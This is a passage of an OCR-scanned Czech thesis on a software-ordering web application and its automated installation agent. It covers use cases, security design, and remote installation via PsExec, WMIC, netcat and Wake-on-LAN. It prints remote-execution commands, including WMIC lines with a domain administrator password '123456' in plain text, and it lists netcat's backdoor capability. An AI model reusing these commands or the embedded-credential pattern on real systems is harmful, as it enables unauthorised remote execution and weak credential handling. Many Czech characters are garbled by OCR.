zadatele, Jméno schvalovatele, Stav zadosti a Datum zmény stavu.

Vystupni podminky: Systém zobrazi seznam zadosti ve stavu ,,Schvéaleno®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit™.
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Tab. 22. Potvrzeni o nakupu pozadovaného SW a vlozeni SW do databaze Caesar

Pripad uziti: Potvrzeni o nakupu pozadovaného software a vlozeni SW do databaze Caesar.

ID:22

Struény popis:
Aplikace umozni potvrdit dokonceni nakupu pozadovaného software.

Hlavni aktéri:
Schvalovatel, Obchodnik.

\!edlejéi aktéri:
Zadni.

Vstupni podminky:
Uzivatel je pfihlaSen do aplikace a ma ptidélenou roli Schvalovatel nebo Obchodnik a ma
zobrazenu nabidku Zakoupit novy software.

Hlavni scénar:

1. Pokud: uzivatel vroli Schvalovatel nebo Obchodnik stiskne u pozadavku tladitko
»Zakoupeno®.

2. Systém nastavi stav pozadavku na ,,Zakoupeno®, do databéze se ulozi: Cas zmény stavu,
jméno piihlaseného schvalovatele, dale se zméni stav na ,,Zakoupeno* a fadek s
potvrzenym pozadavkem se zneviditelni. O provedené udalosti odesle systém uzivateli
informacni e-mail se stavem jeho pozadavku.

Vystupni podminky: Systém nastavi pozadavek do stavu ,,Zakoupeno®.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit®.

Tab. 23. Zobrazeni nastaveni typu instalace

Pripad uziti: Zobrazeni nastaveni typu instalace.

ID:23

Struény popis:
Aplikace umozni zobrazit nastaveny typ provedeni instalace software.

Hlavni aktéfri:
Administrator.

Vedlejsi aktéri:
Z4dni

Vstupni podminky:
Uzivatel je prihlasen do aplikace a ma ptidélenou roli Administrator.

Hlavni scénar:
1. Uzivatel v roli Administrator vybere z menu volbu ,,Nastaveni instalace*
2. Systém zobrazi seznam nastaveni instalacnich filtri, ktefi umozni volit typ instalace dle
nastavenych kritérii. Seznam bude obsahovat tyto polozky: Doména, Lokalita, IP adresa
a Typ instalace.

Vystupni podminky: Systém zobrazi volby nastaveni instalace.

Alternativni scénare:
Aplikaci je moZno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*
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Tab. 24. Nastaveni typu instalace

Pripad uziti: Nastaveni typu instalace.

ID:24

Struény popis:
Aplikace umozni nastavit typ provedeni instalace software.

Hlavni aktéri:
Administrator.

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je ptfihlaSen do aplikace a ma ptidélenou roli Administrator a zobrazenu nabidku
,.Nastaveni instalace*.

Hlavni scénar:

1. Uzivatel v roli Administrator vlozi do nekteré z polozek Doména, Lokalita ¢i IP adresa
podminku. Vysledna instalace pak bude aplikovana na vybér z polozky Typ instalace.

2. Pokud Vysledné nastaveni uzivatel potvrdi tlac¢itkem ,,Vlozit*.

3. Systém ulozi nastavené¢ parametry a bude aplikovat vybrany filtr dle nastavenych
podminek na vybranou instalaci.

4. Pokud uzivatel stiskne tlacitko ,,Zpét™

5. Systém neprovede uloZeni parametrti a opusti edita¢ni menu.

Vystupni podminky: Systém umozni provedeni instalace dle nastavenych podminek.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*

Tab. 25. Zobrazeni Roli uZivatela aplikace

Pripad uziti: Zobrazeni Roli uzivatelt aplikace.

ID:25

Struény popis:
Aplikace umozni zobrazit roli vSech uzivatelt.

Hlavni aktéfri:
Administrator.

Vedlejsi aktéri:
Z4dni

Vstupni podminky:
Uzivatel je ptihlasen do aplikace a ma ptidélenou roli Administrator.

Hlavni scénar:
1. Uzivatel v roli Administrator vybere z menu volbu ,,Role*
2. Systém zobrazi seznam uzivateld, kteti byli ovéfeni A.D.
Seznam bude obsahovat tyto polozky: Jméno, Pfijmeni, Titul, Doména, Email a mozné
atributy roli: Technik, Schvalovatel, Administrator, Obchodnik.

Vystupni podminky: Systém zobrazi seznam ovéfenych uzivatelt a jejich role.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlésit™
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Tab. 26. Nastaveni Roli uzivatel aplikace

Pripad uziti: Nastaveni Roli uzivatell aplikace.

ID:26

Struény popis:
Aplikace umozni nastavit role ovétenych uzivateli.

Hlavni aktéri:
Administrator.

\!edlejéi aktéri:
Zadni

Vstupni podminky:
Uzivatel je ptfihlaSen do aplikace a ma ptidélenou roli Administrator a zobrazenu nabidku
,,Role* uzivatele.

Hlavni scénar:
1. Pokud wzivatel vroli Administrator stiskne u polozky s inicialy uzivatele tlacitko
»Upravit.
2. Systém zviditelni zaskrtavaci okénka u vybraného uzivatele.
3. Administrator mtize oznacit nebo odznacit jednotliva pole s nasledujicimi rolemi:
Technik, Schvalovatel, Obchodnik, Administrator.
Pokud potvrdi volbu tla¢itkem zménit.
Systém ulozi zdznam do databaze a nastavi role uzivatele.
Pokud Administrator stiskne tlacitko ,,Zpé&t*
6. Systém opusti editacni funkci a data nebudou ulozeny do databaze.

ok

Vystupni podminky: Systém umozni nastaveni roli ovétenych uzivateld.

Alternativni scénare:
Aplikaci je mozno opustit zavienim prohlizece ¢i tlacitkem ,,Odhlasit*

6.4 Shrnuti

V kapitole 6 jsme na zdklad€¢ funkénich poZadavkl navrhli aktéry, jejich ptipady uziti a
vztahy mezi jednotlivymi aktéry.

Dale jsme definovali scénare, které popisuji chovani informacniho systému v interakci

S jednotlivymi rolemi uZivatel.
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7 POPIS NAVRHU WEBOVE APLIKACE

Pro vyhotoveni vlastni webové aplikace byla pouzita technologie firmy Microsoft
ASP.NET a jako programovaci jazyk C# za podpory .NET Framework 3.5. Pro ulozeni dat
je vyuzit databazovy systém Microsoft SQL Server 2008 standard a pro tvorbu dotazi mezi
aplikacni a datovou vrstvou technologie LINQ (Linq to SQL). Na stran¢ klienta byl pouzit
JavaScript [20].

7.1 ASP.NET

ASP.NET je soucast .NET Framework pro tvorbu webovych aplikaci a sluzeb. Je
nastupcem technologie ASP (Active Server Pages) a pfimym konkurentem JSP (Java
Server Pages). Technologie ASP.NET také usnadiiuje psani stranek, které zajist'uji

zobrazeni formulaii v prohlizeci, coz 1ze zejména vyuzit v prostiedi intranetu. [14]

7.2 LINQ

LINQ to SQL je implementace O / RM (objektové relaéniho mapovani), ktera je dodana do
NET Framework verze 3.5 a ktera umozinuje, aby model rela¢ni databaze byl dostupny
pomoci NET tfid. Potom miZete vyhledavat v databazi pomoci LINQ stejné¢ dobie, jako
vkladat nebo provadét vymazy z databaze. Microsoft vytvofil LINQ jako tenkou obalku,

ktera poskytuje siln€ typové rozhrani pro datové tloziste.

LINQ nabizi vyvojafim zplsob, jak zlstat v prostfedi, na néZ jsou zvykli, a pfistupovat
k dattim jako k objekttim, které spolupracuji s vyvojovym prostfedim, nabizeji IntelliSense,

a dokonce i ladéni.

Pomoci LINQ se vytvaifené dotazy stanou plnohodnotnymi ¢leny prostiedi .NET se v§im,
co k tomu patfi. Kdyz budete posilat dotazy do svého datového wlozisté, rychle zjistite, ze
funguji a chovaji se stejné, jako by Slo o typy v systému. To znamend, Ze nyni miizete
pouzivat vSechny jazyky kompatibilni s .NET a dotazovat se datového ulozisté tak, jak to

nikdy diive nebylo mozné. [14] [15]
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Obr. 16. LINQ - Microsoft Technet [15]

7.3 Zabezpeceni webové aplikace

Piistup do aplikace je umoznéno pouze autentifikovanym a autorizovanym uzivatelim

proti AD kontroléru LDAP protokolem.

Délka relace prihlaseni je omezena na dobu 20 minut. Pokud uzivatel neprovede v aplikaci

zadné akce, bude automaticky odhlaSen a bude mu nabidnuta ptihlaSovaci obrazovka.
Dalsi zabezpeceni je realizovano dle roli v databazi a web.config, kde je zamezeno
piihlaseni do vyssi role zménou URL.

Aplikace je ur¢ena do vnitiniho prostfedi intranetu, avSak v pifipadé pouziti z domova bude
provoz na server ¢i webovy klient smérovan z a do intranetu pies Sifrovany tunel VPN

L2TP.

V plném provozu bude aplikace na serveru IIS provozovéana Sifrovanym protokolem
HTTPS, ktery zabezpeci identitu serveru, klienta i pfenaSenych dat.
Zabezpeceni pfed SQL injection, coz je vyznamné riziko pro tradicni SQL dotazy

vytvotfené zietézenim vstupu uzivatele, je zde feseno pouzitim technologie LINQ to SQL.
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LINQ to SQL se vyhyba injekci pomoci SqlParameter v dotazech. Uzivatelsky vstup se

zméni na hodnoty parametrti. Toto opatieni brani, aby skodlivé ptikazy byly spoustény z

uzivatelského vstupu. [22]

7.4 Diagram trid
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Obr. 17. Diagram tiid Web aplikace
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8 POPIS NAVRHU KONZOLOVE APLIKACE

Instalacni cast byla napsana jako konzolova aplikace v jazyku C#. Bude spousténa cyklicky
pomoci Casovace v planovaci udalosti ¢i jinym procesem v naplanovanych intervalech.
Tato aplikace v sobé sdruzuje né€kolik dil¢ich ¢asti. Prvni z nich je kolektor IP a MAC
adres ze jmen pocitacl, na které jsou vazany pozadavky. Tato Cast bude slouzit jako
podklady pro dalkové probouzeni pocitaci pies pocitacovou sit’ LAN, ktera je jeho druhou
¢asti. Hlavni ¢asti jsou dvé implementované metody na vlastni instalaci software. VeSkeré
podklady cte aplikace z databaze a dle nastaveni z webové aplikace ASP.NET aplikuje
vybranou metodu vlastni instalace. Je zde také vestavéné doplikova logika, ktera v ptipadé
neuspésné instalace vytvori pozadavek pro ruéni instalaci technikem, ¢i v pfipad¢ tispésné
instalace zasila notifikace e-mailem a také méni stavy pozadavkl zapisem do databaze.
V piipad¢ netispésné automatické instalace je vytvoren logovaci soubor s datem, ndzvem

pocitace a ¢islem chyby.

8.1 SWShopAgent (konzolova aplikace pro Instalace)

Konzolova aplikace SWShopAgent je naprogramovana v jazyce C# a spolupracuje
s navrZzenou databazi MS SQL 2008, kterd je spolecnd jak pro konzolovou, tak i pro
webovou aplikaci. Konzolova aplikace Cte z databaze v pravidelnych intervalech Zadosti
k automatické instalaci. V piipadé uspé$né instalace meéni stavy databaze metodou
UpdateZadost. Aplikace také obsahuje metody GetIPAddress, GetMacAddress,
GetBroadcastAddress, SendARP a WakeUp pro doplitkovou funkei buzeni pocitact po siti
pomoci ,,Magic packetu”. Navazujici databazova tabulka WakeUpTable je pouzivana
vyhradné konzolovou aplikaci, ktera tabulku se sitovymi parametry pribézné aktualizuje a
vyuziva parametry ztabulky k zasilani budiciho Magic packetu. Aplikace dale cte
nastavené filtraéni parametry instalace a podle ni voli vybranou metodou. Pokud je
instalace z nékterého ditvodu neuspésna (nedostupnost pocitace, nedostatek mista na disku,
nastaveni prav apod.) po dobu 2 dnu, dojde k automatické zméné stavu na rucéni instalaci
technikem (zobrazi se v pozadavcich Technika na ru¢ni instalaci). Technik vidi i predesly

stav a je si védom, Ze piebira pozadavek po neuspesné automatické instalaci.
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8.2 Diagram trid
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Obr. 19. Diagram tfid — Konzolova aplikace SWShopAgent
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8.3 Diagram funkce programu
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Obr. 20. Diagram funkce programu objednavky software
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9 PRINOS NAVRZENE APLIKACE

Velkym piinosem naprogramované aplikace je predevSim vzdjemnd spoluprice Sjiz
zavedenym evidencnim software AWCaesar, ze kterého aplikace Cerpa vstupni data. Dalsi
vyhodou je aplikace za pouziti webové technologie, ktera je dostupnd z libovolného
pocitace piipojeného k lokalni siti intranetu bez nutnosti instalace jakéhokoli programu
(vysta¢i pouze libovolny prohlizec) a predevsim dodrzeni procesu objednavky software dle

doporucenych standardt ITIL.

VSsichni ucastnici procesu jsou informovani o jednotlivych krocich zadosti vzdy piimo
v aplikaci na jedné obrazovce ur¢ené jejich roli, a to véetné notifikace e-mailem. Aplikace
fesi cely postup od objednavky az po konecnou instalaci technikem. Schvalovatel vidi

pocty licenci jednotlivého software véetné poctu schvélenych a vydanych licenci.

Aplikace provadi automaticky instalace na koncové zafizeni bez Ucasti technika jen
v ptipadé, pokud je dostupny softwarovy samoinstalacni bali¢ek. V ptipadé uspésné
instalace se také postard o zménu stavu a notifikaci uzivateli. Pokud je automaticka
instalace z n¢jakého divodu neuspés$na, pieda automaticky pozadavek na ruéni instalaci
technikovi, ktery provede instalaci. Vse je také zabezpeceno proti duplicitni objednavce
stejného software na stejny pocita¢, a je tak minimalizovdna nutnost kontroly

schvalovatelem ¢i administratorem.
Velkou vyhodou jsou variabilni moZnosti vlastni bezobsluzné instalace.

Diky takto navrzené a piehledné aplikaci s minimem ovladacich prvkd, kde je vSechno
dostupné v ramci jedné aplikace, 1ze zptijemnit komfort uzivateld, zkratit obsluzny cas

jednotlivych zaéastnénych pracovnikd, a tak usetiit nemalé finan¢ni prosttedky.
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10 TECHNICKA CAST MOZNOSTI INSTALACE

Pokud je pozadavek schvalen schvalovatelem, pfipadné se jednd o jiz predem schvaleny
software, klientsky program nejprve zkontroluje, zdali je pfipraven v distribu¢nim seznamu
samoinstalacni balicek. Pokud tomu tak neni, je pozadavek automaticky pfedan k rucni
instalaci technikovi pomoci webové aplikace. Pokud je vSak balicek piifazen
pozadovanému software, systém ovéti nejprve typ instalace dle nastavenych podminek a
poté je vybrana jedna z nasledujicich moznosti externi instalace. VSe fidi naprogramovana
konzolova aplikace, ktera je spousténa v pravidelnych casovych intervalech pomoci

planovace uloh.

Pro vlastni distribuci instalaci 1ze vyuzit nasledujici moznosti:

10.1 SCCM 2012

Systém Center Configuration Manager je aplikace typu klient-server, kterd umoznuje
vzdélenou spravu IT prostfedi. Pomaha zajistit efektivnéjsi provoz IT sluzeb, umoziuje
bezpecné a Skélovatelné nasazeni softwaru, dodrzovani nastaveni fizeni a komplexni

spravy aktiv pro servery, stolni pocitace, pfenosné pocitace a mobilni zatizeni.
Pro GspéSnou instalaci SCCM 2012 je nutné dodrZet nasledujici systémové pozadavky:
Windows Server 2008 (64-bit) nebo Windows Server 2008 R2 a nasledujici soucéasti:
NET Framework 3.5.1 Service Pack 1
NET Framework 4.0
BITS (Background Intelligent Transfer Service)
RDC (Remote Differential Compression)
Windows Deployment Services (v pfipadé OS deployment)
WSUS 3.0 SP1 (pro spravu aktualizaci)

SQL Server 2008 SP2 s Cumulative Update 6 nebo SQL Server 2008 R2 se SP1 s
Cumulative Update 3, SQL Server 2012 R2

Nastaveni Collation na SQL_Latinl General CP1 _CI_AS
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Na strankdch MSDN - Microsoft Systém Center Software Development Kit jsou
uveftejnény popisy jednotlivych tfid a ukdzky mozného ptistupu do systému SCCM pomoci
jazyka C# veetné tvorby kolekci, balickt, programt, inzerce i vlastni distribuce

vytvorenych balickl na konkrétni pocitace. [21]

10.2 Program PSEXEC

Psexec je nastroj, pomoci kterého mtizeme kopirovat, spoustét programy na vzdaleném
pocitaci, ptipadné¢ ovladat celou ptikazovou tadku. Tento ndstroj je jeden z mnoha
programkii autora Marka Russinoviche a plivodni spolenosti Winternals zaloZené v roce
1996. Vétsina téchto nastroju byla k dispozici zdarma a byly znamé jako Sysinternals
utility. Od roku 2006 Winternals spada pod hlavicku firmy Microsoft a v§echny tyto utility
jsou nyni oznacovany jako Windows Sysinternals, které jsou casti Microsoft Technet

webside.

Veskeré tyto programky jsou urCeny pievazné pro administratory a technické nadsence a
geeky. Z tohoto divodu je také cast programkl psand jako konzolova aplikace do
pfikazového fadku. Program Psexec Vtomto sméru neni vyjimkou. Licence tohoto

programu je zdarma i pro komercni vyuziti.

Pomoci programu Psexec je umoznéno interaktivniho fizeni vstupné-vystupnich operaci na
vzdaleném systému, a to z prostfedi lokalniho systému. Spusténi Psexecu na vzdaleném
pocita¢i je provedeno tak, Ze se nejprve zkopiruje obraz Psexecu na vzdéaleny systém
pomoci sdileni Admin $ a hned poté je zavedeny do systému MS Windows jako bézici

sluzba s nazvem Psexesvc.

Program tak vyuzivd Windows Service Control Manager API, které na vzdaleném systému

spusti sluzbu Psexesvc.

Sluzba Psexesvc vytvoii kandl Psexecsve, ktery Psexec pfipoji a odesle piikazy bézici
sluzbé na vzdaleném systému, kterd pak vykona parametry, které byly specifikovany.
Pokud je zadan parametr -d (necekat na dokonceni), sluzby se ukonci po spusténi
spustitelného souboru. Jinak sluzba ¢eka na ukonceni piikazu, poté posle navratovy kod

zpét do Psexecu a stav vykonani celého procesu se vypise na ovladaci konzoli. [24]

Parametry programu Psexec.
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Uziti: psexec [\\poéitaél[,poéita¢2|,...] | @soubor][-u jméno_uzivatele [-p heslo]][-n
sI[-1][-s|-e][-X][-1 [session]][-c [-f|]-V]][-w directory][-d][-<priority>][-a n,n,... ] cmd

[arguments]
Priklad instalace:

PSEXEC \\IpAdresa_cile -e -s cmd /c msiexec.exe /i "\\Server\PodAdresar\Install.msi"

/quiet /norestart”
Piiklad odinstalace:

PSEXEC \pAdresa cile -e -s msiexec.exe /x {61EF76AE-6CC9-4EFC-B788-
6845COBCEF00} /quiet (Cislo ve slozenych zavorkach je GUID, tedy identifikace produkt
kodu MSI balicku)

Instalace EXE souboru:

PSEXEC \\IpAdresa cile —e —s -c c:\install\jre-6u20-windows-i586-s.exe /s /v "/gn
REBOOT=suppress ADDLOCAL=ALL IEXPLORER=1 MOZILLA=1 SYSTRAY=0
JAVAUPDATE=0”

Tento program je zakomponovan do konzolové aplikace jako jedna z moznosti volby

instalatoru. Veskeré funkce a prepinace programu Psexec jsou popsany v piiloze II.

10.3 Program NETCAT

Netcat je univerzalni sitovy nastroj, ktery prenasi (Cte 1 zapisuje) data ptes piipojeni k siti

pomoci protokolu TCP / IP.

Je navrzen tak, aby fungoval jako divéryhodny nastroj, ktery se mize pouzit pfimo nebo

byt jednoduse ovladany jinymi programy a skripty.

Umi navazat TCP spojeni, poslat UDP paket, naslouchat na libovolném TCP nebo UDP

portu, skenovat porty a trasovat komunikaci. [23]
Mezi jednotlivé funkce, které NetCat nabizi, patii:
e funkce pfenosu souboru
o funkce Telnet

e piesmérovani portl


file://IpAdresa_cile
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e zadni vratka do systému (BackDoor)
e sledovani provozu portl
e skenovani TCP/UDP porti

Vesker¢ funkce a prepinace jsou popsany v priloze II.

10.4 Technologie WMI a programy WMIc a PowerShell

Windows Management Instrumentation (WMI) je mimotadné vykonna technologie firmy
Microsoft, kterd poskytuje podrobné informace o tom, jak je pocitacovy systém
nakonfigurovan a provozovan. Pro spravce opera¢niho systému Windows je tento nastroj
velmi atraktivni z diivodu, Ze k jeho vyuziti neni tfeba byt programator. WMI je k dispozici
také jako moznost skriptovani. K dispozici existuje mnoho on-line WMI VBScripti a také
Resource Kit, ktery je soucasti systému Windows 2000/XP/2003. S trochou tréninku a
zkuSenosti si kazdy mtze vytvorit své vlastni WMI skripty. Nicmén¢ ani pro ty uZzivatele,
ktefi se nejsou ochotni ucit slozité¢ tvorbé VBScripth pomoci WMI, neni vSe ztraceno.
Jednou z moznosti je vyuziti nastroje WmiCodeCreator.exe (viz obrazek 20), ktery
generuje VBS skript, C# a VB.NET dle vybranych komponent v tabulce a ktery lze
Z tohoto nastroje ihned spustit, ¢i ulozit do souboru. Jeho soucasti je také zdrojovy kod v

jazyce C#, pro jeho vyuziti ve vlastnich aplikacich.

Soucasti systémt Microsoft Windows ve verzi XP a vyse je nastroj pro ptikazovou fadku s
nazvem WMIC.exe, ze které Ize spustit WMI dotazy velmi jednoduSe. Pomoci tohoto
nastroje lze mimo instalace a deinstalace programu, také spravovat nejen prostiedky

mistniho pocitace, ale i ostatnich serverd a pocitact v siti. [25]

Vice informaci 0 WMIC lze ziskat ze stranek Microsoft TechNet, kde je tento nastroj

podrobné popsan.[29]

Seznam vSech pfepinacu je soucasti ptilohy PII.
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o- WMI Code Creator EE X [

File Codelanguage Target Computer Help

Query for data from a WMI class | Execute a method | Receive an event I Browse the namespaces on this computer|

MNamespace: root\CIMW2 «  Generated Code:
- 5 - - using System; a
. 788 classes (dynamic or static) found. using System Managemert:
Classes (dynamic Win32_Product > using System.Windows Forms;

or static):

Get documentation for this class from the online MSDN Library.
namespace WMISample
I

Results: 27 properties found.

1
f i
Select the properties you want values for. ?ubhc class MyWhliGuery

1
Name - public static void Main)
PackageCache {
PackageCode try
PackageName | {
| g| ManagementObject Searcher searcher =
RegCompary in new ManagementObject Searcher( root \\CIMVZ",
RegCwner "SELECT * FROM Win3d2_Product");
SKUNumber 2
foreach (ManagementObject quenyObj in searcher Get()
e {
Search for Property Values Results: Searching... Console. White Ling|"—————————————");
Console Write Line("Win32_Product instance");

Select one value to narmow the scope of the query. Console. Wite Linelg::f" - ,
IdentifyingNumber = “(5F D88490-011C-4DF1-B386-F29808551716Y i Console. Wite Line("Product D {0}, quenyObi[ 'ProductID"]):

IdentifyingNumber = ‘{4A566762-5013-46C2-85B5-3D46A6096F61} m )
IdentifyingMumber = *{EDE721A5-5E89-4074-994C-652BB3C0672EY m - Excenti

identfyinghumber = {32042FD5-5588-4341-A2A7-DDF1979829D6} ?am (Managsment Exception )
ldemmnegr?#wﬁerﬂumfew-?gg&;%; §§§§1FD’§EBEE%:§BE[?§—EE%%%§[}JDAZM} . MessageBax. Show("An emor occumed while quenying for WMI date
IdentifyingMumber = *{4C3EA13F-25B4-3E3C-AFCE-7AB31FGFEF15Y 1

IdentifyingMNumber = '{1111706F-666A-4037-7777-2026487640 10} ¥ }

H
Open code in Notepad l [ Bxecute Code ] s
4 | I I

Obr. 21. WMI Code Creator

Priklady pouziti instalace a deinstalace aplikace Acrobat Readeru XI CZ na vzdaleny
pocita¢ s IP adresou 10.16.1.9, pomoci prav administratora z domény Corporate a hesla

123456 pomoci WMIC. Tato utilita je soucasti instalatoru konzolové aplikace.

Tab. 27. Balicek MSI Acrobat Reader XI CZ: adberdr11000_cs_cz.msi

Instalace:

wmic /node:10.16.1.9 /failfast:on fuser:corporate\administrator /password:123456 product

call install true,"", "\\10.16.1.9\pren\adberdr11000_cs_cz.msi" /nointeractive

Deinstalace:

wmic /failfast:on /node:10.16.1.9 /user:corporate\administrator /password:123456 product

where name="Adobe Reader XI - Czech" call uninstall /nointeractive
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10.5 WOL - Probouzeni pocitacii po siti

V moznostech automatické instalace na cilové pocitace se potykdme s problémy branicimi
dostupnosti pocitace na lokalni siti zpiisobenymi tim, ze vétSina dneSnich pocita¢t v ramci
uspory elektrické energie piechdzi do spiciho nebo hibernovaného stavu. Dalsi vyhodou by
byla také moznost vyuziti niz§iho datového zatizeni sité k instalaci v no¢nich hodinach.

Vsechny tyto prekazky Ize nastésti fesit pomoci technologie Wake on Lan.

Wake on LAN (WOL) je implementovanda hardwarovd a softwarova technologie pro
pocitaCové systémy, umoziujici zafizeni probouzet ze spanku odeslanim specialné
kédovaného sitového paketu. Tato dodatecnéd funkce umozituje administratoriim provadet
udrzbu systémt, i kdyz je pocita¢ vypnuty. Wake on LAN umoziuje administratorovi
dalkové zapnout vSechny spici stroje. Na nich lze pak dalkové provadét automatické
aktualizace ¢i jinak upravovat systém a po ukonceni ¢innosti pocitace vypnout (to jiz vSak
pomoci prosttedkt Windows — Shutdown, nikoli ,,MagicPaketem®). Bez aktivace této
funkce, by bylo nutné osobn¢ navstivit vSechna zatizeni, coz by bylo ¢asové velmi naroc¢né.
Fyzicky pfistup na néktera oddéleni bez ptitomnosti povéteného pracovnika je technicky

nemozny, zvlasté pak ve velké organizaci.

Navrh této technologie pochazi od firem Intel a IBM Advanced Manageability Alliance z
fijna 1996. Aby bylo mozné pocita¢ zapnout, je tfeba splnit nasledujici podminky: Neustale
napajena sitova karta, kterd, i kdyZ je pocita¢ vypnuty, neustale poslouchd komunikaci na
siti, zdali nepfiSel specidlni ramec tzv. Magic Paket. Pokud zachyti tento paket pro ni
urCeny, tak zaSle signal zakladni desce, aby zapnula pocitac. V pocatcich, kdy nebyla
sitova karta soucasti zakladni desky, bylo nutné propojeni sitové karty a zakladni desky
pomoci tfizilového kabelu, aby bylo mozné probudit (zapnout) ATX zdroj pocitace. Dalsi
nastaveni je ¢isté softwarové a to v nastaveni BIOSu pocitace, volba Wake On Lan. Druhé
nastaveni je jiz ve spravci zafizeni sitového adaptéru opera¢niho systému pocitace.
Z davodi rozliéného nastaveni adaptéru odvislého od jeho vyrobce a typu ovladace
uvedeme pouze obecné nastaveni, a to Vsekci fizeni spotfeby adaptéru. Dalsi volby

nalezneme v sekci upiesnit, kde nastavime parametry v polozkach WOL.

Princip fungovani Wake on LAN je takovy, Ze z fidici stanice odesle specialni rdmec zvany
Magic Packet. Jedna se o standardni ramec obsahujici zdrojovou adresu, cilovou adresu

(cilovda adresa muze byt i1 multicastova/ broadcastova). Datovy obsah zahrnuje
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synchroniza¢ni stream, coZ je 6 biti OxFF nasledovany 16x opakovanou 48bitovou MAC
adresou cilové stanice. Uvedeme zde piiklad, pokud je fyzicka adresa adaptéru probouzené
stanice 11:22:33:44:55:66, tak Magic paket vypada nasledné: Destination, Source, Misc.
FF FF FF FF FF FF 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55
66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44
5566 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33 44 55 66 11 22 33
445566 11 22 33 44 55 66 11 22 33 44 55 66 MISC. CRC.

Prevazna vétsina WOL aplikaci posila UDP unicast paket na adresu 255.255.255.255
pomoci portu 9 (Discard). Dal§imi moznymi pouzivanymi porty jsou 7 (Echo) a 5 (RJE),

ale vétsina sitovych karet ¢islo portu nekontroluje. [27]

Vice informaci se lze docist v materialech firmy AMD, ,,White paper Magic Packet
Technology* [28].

10.6 Sluzba MSI a tvorba samoinstalac¢nich balicku

Pro automatickou bezobsluznou instalaci je nutno vyuzit specidlné upravenych balicku-
instalatorii, aby nebylo tfeba interakce ze strany uZzivatele. NejCastéji jsou dnes vyuzivany
balicky dvou typt. Prvnim z nich je soubor s piiponou exe, ktery byva vétSinou vytvoren
instalatorem typu InstallShield, NSIS, Wise, nebo InnoSetup. Druhou a ¢astéjsi moznosti je
vyuziti samoinstalacni balickil s pfiponou MSI urcené pro sluzbu Microsoft Windows

Installer.

Microsoft Windows Installer je instala¢ni sluzba firmy Microsoft pro instalaci a spravu
instalac¢nich balickt ve formatu MSI. Tato sluzba spatfila svétlo svéta v roce 2000, a tehdy
Vv prvni verzi 1.0 byla implementovana do systému Microsoft Windows 2000 a Microsoft
Office 2000. Od té doby je soucasti vSech novéjsich operacnich systému a kancelatskych

balikil firmy Microsoft.

Jejim hlavnim uréenim bylo zjednodusit a zptehlednit proces instalace i odinstalace.
Balicek MSI popisuje instalaci jednoho, ¢i vice produktd, ktery je jednoznacéné
identifikovan pomoci GUID. Identifikdtor GUID (Globally Unique IDentifier), coz je
svétové unikatni 128-bitové Cislo reprezentované 32-prvkovym hexadecimalnim cislem.
Priklad AC76BA86-7AD7-1029-7B44-AB0000000001. V databazi MSI je pouzito tii,
vzdy jedine¢nych GUID ¢isel, Product code, upgrade code a package code. [17]
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Cislo produkt GUID je také vyuzivano k jednoduché odinstalaci software pomoci msexec S
prepina¢em X nasledovanym GUID ¢islem produktu. Instalac¢ni sluzba systému Windows

poskytuje nasledujici rozsifenou sadu instalaénich moZnosti:

e Obnovi piivodni stav poc€itace po selhani instalace - Windows Installer sleduje
vSechny zmény provedené v systému béhem procesu instalace aplikace. Pokud se
instalace nezdafi, mize Instalacni sluzba systému Windows obnovit nebo vratit

zpét systém do pavodniho stavu.

e Pomaha predchazet Kkonfliktim mezi aplikacemi - zabraiiuje konfliktim
sdilenych zdroji mezi stdvajicimi aplikacemi. Tyto konflikty mohou byt vyvolany

ptepisem ¢i odinstalaci spoleéné DLL knihovny.

e Provadi spolehlivou deinstalaci programii - Spolehlivé odinstaluje jakykoli
program, i diive nainstalovany. Odstrani v§echny souvisejici polozky registru a také
soubory aplikace s vyjimkou téch, které jsou sdileny jinym nainstalovanym

softwarem.

e Provadi diagnozu a opravuje poSkozené aplikace - aplikace se dotazuje
Instalacni sluzby, zda nainstalovana aplikace chybi nebo jsou u ni poskozeny
soubory. Pokud je tomu tak, Installer zkopiruje pouze ty soubory, u kterych zjisti,

ze chybi nebo jsou poskozeny.

e Podporuje on-demand instalaci aplikace funkci — tato funkce muze byt
nakonfigurovana tak, ze prvotni instalace je pouze minimalni a pokud uZivatel

pristoupi k rozsifené funkci, tak ta mu je automaticky doinstalovéana.

e Podporuje automatické instalace aplikaci - Instalacni balicky mohou byt
nakonfigurovany tak, aby zadny instala¢ni proces nevyzadoval interakci uzivatele a

probéhl na pozadi.

e Zabudovana podpora pro 32-bit a 64-bitové aplikace - 32-bitové aplikace

mohou byt nainstalovany i na 64-bitovych strojich.
e Podporuje Microsoft NET Framework - NET Framework poskytuje nasledujici
pouziti kédu pro: kod specializaci, fizeni zdroji, vicejazyény rozvoj, bezpecnost,

nasazeni a spravu.
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e Integrované side-by-side komponenty - Toto sdileni umoziuje, aby vice verzi
jedné COM nebo Win32 komponenty bézelo soucasné¢ v paméti a své sluzby
aplikaci poskytovala ta spravnd verze. Tyto komponenty nejsou instalovany do
systémovych slozek, ale do slozky k aplikaci a musi byt spravné registrovany

systémem.

e Integrované zasady omezeni softwaru - tato funkce poskytuje ochranu pied viry
véetné ochrany pied trojskymi kofimi a Cervy Sifenymi prostfednictvim e-mailu a

internetu.

Sluzba MSI poskytuje prostiedky pro instalaci, deinstalaci, upravy a provadéni operaci

instala¢ni sluzby systému Windows z ptikazového fadku dle nasledujici syntaxe:
msiexec/i {Bali¢ek | Kéd_produktu}

Vesker¢ funkce a pfepinace Msiexec jsou popsany v piiloze II.

10.6.1 Programy na tvorbu instala¢nich balicki

Pro tpravu ¢i editaci MSI balicku 1ze jako jednu z moznosti pouzit Microsoftem vytvoreny
program ORCA, ktery je soucasti Windows Installer SDK a je k dispozici ke stazeni

z webu MSDN Microsoftu. S jeho pomoci lze nastavit mnoho parametri vlastni instalace.
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adberdr11000_cs_cz.msi - Orca

File Edit Tables Transform

Tools View Help
0= WM EmE
| Tables » | Property Value -
